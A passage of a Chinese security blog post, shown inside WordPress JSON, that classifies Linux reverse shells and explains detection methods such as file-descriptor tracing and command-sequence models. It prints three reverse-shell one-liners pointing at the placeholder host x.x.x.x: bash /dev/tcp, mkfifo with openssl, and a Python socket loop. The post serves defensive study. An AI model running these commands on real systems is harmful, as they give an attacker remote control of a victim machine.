n<h5 class=\"wp-block-heading\">\u7b2c\u4e00\u7c7b\u53cd\u5f39Shell\uff1a\u76f4\u63a5\u91cd\u5b9a\u5411Shell\u7684\u8f93\u5165\u8f93\u51fa\u5230Socket<\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>bash -i >&amp; \/dev\/tcp\/x.x.x.x\/6666 0>&amp;1<\/code><\/pre>\n\n\n\n<p>\u8fd9\u7c7b\u53cd\u5f39Shell\u7684\u68c0\u6d4b\u53ef\u4ee5\u901a\u8fc7<strong>\u68c0\u6d4bShell\u7684\u6807\u51c6\u8f93\u5165\u3001\u6807\u6ce8\u8f93\u51fa\u662f\u5426\u88ab\u91cd\u5b9a\u5411\u5230Socket<\/strong>\u6216\u68c0\u6d4b\u4e00\u4e9b\u7b80\u5355\u7684\u4e3b\u673a\u7f51\u7edc\u65e5\u5fd7\u7279\u5f81\u6765\u5b9e\u73b0\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">\u7b2c\u4e8c\u7c7b\u53cd\u5f39Shell\uff1a\u901a\u8fc7\u7ba1\u9053\u3001\u4f2a\u7ec8\u7aef\u7b49\u4e2d\u8f6c\uff0c\u518d\u91cd\u5b9a\u5411Shell\u7684\u8f93\u5165\u8f93\u51fa\u5230\u4e2d\u8f6c<\/h5>\n\n\n\n<p>\u6b64\u7c7b\u53cd\u5f39Shell\u501f\u52a9\u7ba1\u9053\u3001\u4f2a\u7ec8\u7aef\u7b49\u8fdb\u884c\u4e2d\u8f6c\uff0c\u4f8b\u5982\u4e0b\u9762\u8fd9\u4e2a\u5178\u578b\u6848\u4f8b\u5c06sh -i\u7684\u6807\u51c6\u8f93\u5165\u3001\u6807\u51c6\u8f93\u51fa\u3001\u6807\u51c6\u9519\u8bef\u91cd\u5b9a\u5411\u5230\u547d\u540d\u7ba1\u9053\/tmp\/f\uff0c\u540c\u65f6\u52a0\u5bc6\u901a\u4fe1\u6570\u636e\u4e5f\u6d41\u5411\u8be5\u547d\u540d\u7ba1\u9053\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mkfifo \/tmp\/f; \/bin\/sh -i &lt; \/tmp\/f 2>&amp;1 | openssl s_client -quiet -connect x.x.x.x:6666 > \/tmp\/f<\/code><\/pre>\n\n\n\n<p>\u5728\u67d0\u4e9b\u53d8\u5f62\u7684\u573a\u666f\u4e0b\uff0c\u53ef\u80fd\u7ecf\u8fc7\u5c42\u5c42\u4e2d\u8f6c\uff0c<strong>\u4f46\u65e0\u8bba\u7ecf\u8fc7\u51e0\u5c42\u6700\u7ec8\u90fd\u4f1a\u5f62\u6210\u4e00\u6761\u6d41\u52a8\u7684\u6570\u636e\u901a\u9053\u3002\u901a\u8fc7\u8ddf\u8e2aFD\uff08\u6587\u4ef6\u63cf\u8ff0\u7b26File Descriptor\uff09\u548c\u8fdb\u7a0b\u7684\u5173\u7cfb\u53ef\u4ee5\u68c0\u6d4b\u8be5\u6570\u636e\u901a\u9053\u3002<\/strong><\/p>\n\n\n\n<p>\u901a\u8fc7\u4f2a\u7ec8\u7aef\u4e2d\u8f6c\u4e0e\u901a\u8fc7\u7ba1\u9053\u7b49\u4e2d\u8f6c\u539f\u7406\u4e00\u6837\uff0c\u4f46\u901a\u8fc7\u4f2a\u7ec8\u7aef\u4e2d\u8f6c\u7684\u68c0\u6d4b\u96be\u5ea6\u5927\u5927\u63d0\u5347\uff0c\u5355\u4eceShell\u7684\u6807\u51c6\u8f93\u5165\u8f93\u51fa\u6765\u770b\uff0c\u548c\u6b63\u5e38\u6253\u5f00\u7684\u7ec8\u7aef\u6ca1\u6709\u4ec0\u4e48\u533a\u522b\u3002\u6b64\u5916\uff0c\u4e00\u4e9b\u573a\u666f\u5982\u5bb9\u5668\u3001\u5404\u7c7b\u4ea7\u54c1Agent\u7b49\u4e5f\u4f1a\u6709\u76f8\u4f3c\u7684\u65e5\u5fd7\u8bb0\u5f55\uff0c\u5e73\u8861\u6f0f\u62a5\u4e0e\u8bef\u62a5\u7684\u96be\u5ea6\u4e0a\u5927\u5927\u63d0\u5347\u3002<strong>\u56e0\u6b64\u6211\u4eec\u5728\u6587\u4ef6\u63cf\u8ff0\u7b26\u68c0\u6d4b\u65b9\u6848\u7684\u57fa\u7840\u4e0a\uff0c\u7ed3\u5408\u8fdb\u7a0b\u3001\u7f51\u7edc\u7b49\u591a\u79cd\u65e5\u5fd7\u4fe1\u606f\u7efc\u5408\u5206\u6790\u3002<\/strong><\/p>\n\n\n\n<h5 class=\"wp-block-heading\">\u7b2c\u4e09\u7c7b\u53cd\u5f39Shell\uff1a\u7f16\u7a0b\u8bed\u8a00\u5b9e\u73b0\u6807\u51c6\u8f93\u5165\u4e2d\u8f6c\uff0c\u91cd\u5b9a\u5411\u547d\u4ee4\u6267\u884c\u7684\u8f93\u5165\u5230\u4e2d\u8f6c<\/h5>\n\n\n\n<p>\u7b2c\u4e09\u79cd\u7c7b\u578b\u53cd\u5f39Shell\u901a\u8fc7\u7f16\u7a0b\u8bed\u8a00\u5b9e\u73b0\u6807\u51c6\u8f93\u5165\u7684\u4e2d\u8f6c\uff0c\u7136\u540e\u91cd\u5b9a\u5411\u547d\u4ee4\u6267\u884c\u7684\u8f93\u5165\u5230\u4e2d\u8f6c\uff0c\u6807\u51c6\u8f93\u51fa\u548c\u6807\u51c6\u9519\u8bef\u4e2d\u8f6c\u5f62\u5f0f\u4e0d\u9650\u5236\u3002\u4ee5\u4e0b\u662f\u8be5\u7c7b\u578b\u53cd\u5f39Shell\u7684\u5178\u578b\u793a\u4f8b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python -c \"exec(\\\"import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',6666))\\nwhile 1:  proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,Shell=True);s.send(proc.stdout.read()+proc.stderr.read())\\\")\"<\/code><\/pre>\n\n\n\n<p>\u5728\u8fd9\u79cd\u573a\u666f\u4e0b\uff0c\u53cd\u5f39Shell\u7684\u547d\u4ee4\u6267\u884c\u548c\u6b63\u5e38\u4e1a\u52a1\u884c\u4e3a\u53d8\u5f97\u66f4\u52a0\u96be\u4ee5\u533a\u5206\uff0c\u5bf9\u6297\u7a0b\u5ea6\u4e0a\u5347\uff0c\u9664\u4e86\u4ece\u8fdb\u7a0b\u547d\u4ee4\u884c\u5c3d\u53ef\u80fd\u7684\u8986\u76d6\u8fd9\u7c7b\u53cd\u5f39Shell\u7684\u7279\u5f81\u4ee5\u5916\uff0c\u4e91\u5b89\u5168\u4e2d\u5fc3\u901a\u8fc7<strong>\u5f02\u5e38\u547d\u4ee4\u884c\u4e3a\u5e8f\u5217\u3001\u5f02\u5e38Shell\u542f\u52a8\u6a21\u578b<\/strong>\u68c0\u6d4b\u8be5\u7c7b\u53cd\u5f39Shell\u3002<\/p>\n\n\n\n<p><strong>\u5f02\u5e38\u547d\u4ee4\u884c\u4e3a\u5e8f\u5217\u6a21\u578b<\/strong>\u901a\u8fc7\u5206\u6790\u547d\u4ee4\u5e8f\u5217\u4e0e\u653b\u51fb\u8005\u83b7\u53d6Shell\u540e\u884c\u4e3a\u76f8\u4f3c\u5ea6\u6765\u5224\u5b9a\u662f\u5426\u4e3a\u53cd\u5f39Shell\u3002\u800c<strong>\u5f02\u5e38Shell\u542f\u52a8\u6a21\u578b<\/strong>\u7ed3\u5408\u591a\u7ef4\u5ea6\u7279\u5f81\u4ee5\u53ca\u673a\u5668\u5386\u53f2\u884c\u4e3a\u7efc\u5408\u5224\u5b9a\u4ea7\u51fa\u544a\u8b66\u3002<\/p>\n\n\n\n<p><strong>\u653b\u51fb\u4e0e\u9632\u5fa1\u6280\u672f\u603b\u662f\u5728\u4e0d\u65ad\u7684\u5bf9\u6297\u4e2d\u5347\u7ea7\uff0c\u653b\u51fb\u6280\u672f\u4efb\u4f55\u5355\u70b9\u7684\u7a81\u7834\u90fd\u53ef\u80fd\u5f62\u6210\u7a33\u5b9a\u7ed5\u8fc7\u9632\u5fa1\u6280\u672f\u7684\u5c40\u9762\u3002<\/strong>\u7406\u8bba\u4e0a\u4efb\u4f55\u4e00\u79cd\u53cd\u5f39Shell\u68c0\u6d4b\u90fd\u4e0d\u662f\u5b8c\u7f8e\u7684\uff0c\u7279\u522b\u662f\u7b2c\u4e09\u7c7b\u53cd\u5f39Shell\u3002\u4e91\u5b89\u5168\u4e2d\u5fc3\u652f\u6301\u7eb5\u6df1\u68c0\u6d4b\uff0c\u91c7\u7528\u591a\u7ef4\u5ea6\u4ea4\u53c9\u68c0\u6d4b\u53cd\u5f39Shell\u65b9\u6848\uff0c\u901a\u8fc7<strong><mark style=\"background-color:rgba(0, 0, 0, 0);color:#ff0000\" class=\"has-inline-color\">\u8fdb\u7a0b\u7279\u5f81\u8986\u76d6\u3001\u6587\u4ef6\u63cf\u8ff0\u7b26\u5206\u6790\u3001\u547d\u4ee4\u884c\u4e3a\u5e8f\u5217\u3001\u5f02\u5e38Shell\u542f\u52a8\u3001\u4e8c\u8fdb\u5236\u6c99\u7bb1\u3001\u811a\u672c\u6c99\u7bb1\u3001\u6d41\u91cf\u7279\u5f81\u8986\u76d6\u3001\u5bf9\u6297\u884c\u4e3a\u68c0\u6d4b<\/mark><\/strong>\u5171\u516b\u9879\u6280\u672f\u5728\u4e0d\u540c\u5165\u4fb5\u9636\u6bb5\u57cb\u70b9\uff0c\u4ece\u800c\u6700\u5927\u7a0b\u5ea6\u4fdd\u969c\u68c0\u51fa\u6548\u679c\u3002<\/p>\n\n\n\n<p>\u9664\u4e86\u5206\u7c7b\u68c0\u6d4b\u601d\u60f3\u4e2d\u4ecb\u7ecd\u7684\u66f4\u8d34\u8fd1\u53cd\u5f39Shell\u672c\u8d28\u7684<strong>FD\u68c0\u6d4b\u6280\u672f<\/strong>\u3001\u4ece\u884c\u4e3a\u76ee\u7684\u51fa\u53d1\u7684<strong>\u5f02\u5e38\u547d\u4ee4\u884c\u4e3a\u5e8f\u5217\u68c0\u6d4b\u6280\u672f<\/strong>\u3001<strong>\u5f02\u5e38Shell\u542f\u52a8\u68c0\u6d4b<\/strong>\u548c\u5e38\u89c4\u7684\u547d\u4ee4\u3001\u7f51\u7edc\u7279\u5f81\u8986\u76d6\u65b9\u6848\u4ee5\u5916\uff0c\u4e91\u5b89\u5168\u4e2d\u5fc3\u540c\u65f6\u4f7f\u7528\u4ee5\u4e0b\u68c0\u6d4b\u6280\u672f\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>\u811a\u672c\u6c99\u7bb1<\/li><li>\u4e8c\u8fdb\u5236\u6c99\u7bb1&#8211;\u4e91\u5b89\u5168\u4e2d\u5fc3\u5bf9\u4e8e\u5e38\u89c1\u7684C\/C++\u3001Go\u3001MeterPreter Shellcode\u7b49\u4e8c\u8fdb\u5236\u53cd\u5f39Shell\u5f00\u53d1\u65b9\u5f0f\u8fdb\u884c\u4e86\u7279\u6b8a\u7684\u8bc6\u522b\u548c\u5904\u7406\uff0c\u7efc\u5408\u5bfc\u5165\u51fd\u6570\u7279\u5f81\u3001\u4ee3\u7801\u7279\u5f81\u3001\u4e8c\u8fdb\u5236\u5728\u6c99\u7bb1\u4e2d\u7684\u52a8\u6001\u884c\u4e3a\u7279\u5f81\u7b49\u591a\u4e2a\u7ef4\u5ea6\u8fdb\u884c\u68c0\u6d4b\u3002<\/li><li>\u6d41\u91cf\u7279\u5f81\u5206\u6790&#8211;\u4e91\u5b89\u5168\u4e2d\u5fc3\u8986\u76d6\u5e38\u89c1Shell\u901a\u4fe1\u7279\u5f81\uff0c\u8f85\u52a9\u63d0\u5347\u53cd\u5f39Shell\u68c0\u6d4b\u6548\u679c\u3002<\/li><li>\u5bf9\u6297\u884c\u4e3a\u68c0\u6d4b&#8211;\u4e91\u5b89\u5168\u4e2d\u5fc3\u8986\u76d6\u5e38\u89c1\u7ed5\u8fc7\u65b9\u5f0f\uff0c\u5982\u66ff\u6362\u7cfb\u7edfShell\u3001\u547d\u4ee4\u7f16\u7801\u7b49\uff0c\u4f5c\u4e3a\u8f85\u52a9\u624b\u6bb5\u63d0\u5347\u68c0\u6d4b\u6548\u679c\u3002<\/li><\/ul>\n\n\n\n<p>\u653b\u9632\u76f8\u957f\uff0c\u672a\u77e5\u653b\u7109\u77e5\u9632\uff0c\u591a\u5b66\u4e60\u591a\u603b\u7ed3\u591a\u6d4b\u8bd5\u624d\u80fd\u6709\u63d0\u9ad8\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h5 class=\"wp-block-heading\">\u53c2\u8003\u94fe\u63a5\uff1a<\/h5>\n\n\n\n<p>\u5404\u79cd\u53cd\u5f39shell\u8bb0\u5f55\/\u603b\u7ed3<br><a href=\"https:\/\/ixyzero.com\/blog\/archives\/3275.html\">https:\/\/ixyzero.com\/blog\/archives\/3275.html<\/a><\/p>\n\n\n\n<p>\u91cd\u5b9a\u5411\u7684\u4e00\u4e9b\u6ce8\u610f\u4e8b\u9879{&#8220;2&gt;&amp;1 &gt; file&#8221;\u548c &#8220;&gt; file 2&gt;&amp;1&#8243;\u533a\u522b}<br><a href=\"https:\/\/ixyzero.com\/blog\/archives\/666.html\">https:\/\/ixyzero.com\/blog\/archives\/666.html<\/a><\/p>\n\n\n\n<p>Linux \u53cd\u5f39shell\uff08\u4e8c\uff09\u53cd\u5f39shell\u7684\u672c\u8d28<br><a href=\"https:\/\/www.k0rz3n.com\/2018\/08\/05\/Linux%20%E5%8F%8D%E5%BC%B9shell%20%EF%BC%88%E4%BA%8C%EF%BC%89%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E6%9C%AC%E8%B4%A8\/\">https:\/\/www.k0rz3n.com\/2018\/08\/05\/Linux%20%E5%8F%8D%E5%BC%B9shell%20%EF%BC%88%E4%BA%8C%EF%BC%89%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E6%9C%AC%E8%B4%A8\/<\/a><\/p>\n\n\n\n<p>\u53cd\u5f39Shell\u5b66\u4e60\u8bb0\u5f55<br><a href=\"https:\/\/sentrylab.cn\/blog\/2022\/%E5%8F%8D%E5%BC%B9Shell%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95\/\">https:\/\/sentrylab.cn\/blog\/2022\/%E5%8F%8D%E5%BC%B9Shell%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95\/<\/a><\/p>\n\n\n\n<p>\u4e91\u5b89\u5168\u4e2d\u5fc3\u53cd\u5f39Shell\u591a\u7ef4\u68c0\u6d4b\u6280\u672f\u8be6\u89e3<br><a href=\"https:\/\/www.alibabacloud.com\/help\/zh\/security-center\/latest\/detect-reverse-shells-from-multiple-dimensions\">https:\/\/www.alibabacloud.com\/help\/zh\/security-center\/latest\/detect-reverse-shells-from-multiple-dimensions<\/a><\/p>\n\n\n\n<p>\u4e91\u4e0a\u5a01\u80c1\u68c0\u6d4b | \u8be6\u89e3\u53cd\u5f39shell\u591a\u7ef4\u68c0\u6d4b\u6280\u672f<br><a href=\"https:\/\/www.freebuf.com\/articles\/network\/263684.html\">https:\/\/www.freebuf.com\/articles\/network\/263684.html<\/a><\/p>\n\n\n\n<p>Encrypted Reverse Shell for Pentester<br><a href=\"https:\/\/www.hackingarticles.in\/encrypted-reverse-shell-for-pentester\/\">https:\/\/www.hackingarticles.in\/encrypted-reverse-shell-for-pentester\/<\/a><\/p>\n\n\n\n<p>Encrypted Bind and Reverse Shells with Socat (Linux\/Windows)<br><a href=\"https:\/\/erev0s.com\/blog\/encrypted-bind-and-reverse-shells-socat\/\">https:\/\/erev0s.com\/blog\/encrypted-bind-and-reverse-shells-socat\/<\/a><\/p>\n\n\n\n<p>Day 43: Reverse Shell with OpenSSL<br><a href=\"https:\/\/int0x33.medium.com\/day-43-reverse-shell-with-openssl-1ee2574aa998\">https:\/\/int0x33.medium.com\/day-43-reverse-shell-with-openssl-1ee2574aa998<\/a><\/p>\n\n\n\n<p>=END=<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=Start= \u7f18\u7531\uff1a \u56e0\u4e3a\u5de5\u4f5c\u6027\u8d28\u7684\u53d8\u5316\uff0c\u6211\u5df2\u7ecf\u5f88\u4e45\u6ca1\u6709\u5173\u6ce8IDC\u5b89\u5168\u65b9\u9762\u7684\u5185\u5bb9\u4e86\uff08\u5f88\u4e45\u4e4b\u524d\u641e\u4e86\u4e00\u6bb5\u65f6\u95f4\u7684B [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23,11,25],"tags":[30,780,37,707,1428,253],"class_list":["post-5342","post","type-post","status-publish","format-standard","hentry","category-knowledgebase-2","category-linux","category-security","tag-linux","tag-reverse-shell","tag-security","tag-shell","tag-1428","tag-253"],"views":1530,"_links":{"self":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/5342","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/comments?post=5342"}],"version-history":[{"count":2,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/5342\/revisions"}],"predecessor-version":[{"id":5344,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/5342\/revisions\/5344"}],"wp:attachment":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/media?parent=5342"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/categories?post=5342"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/tags?post=5342"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}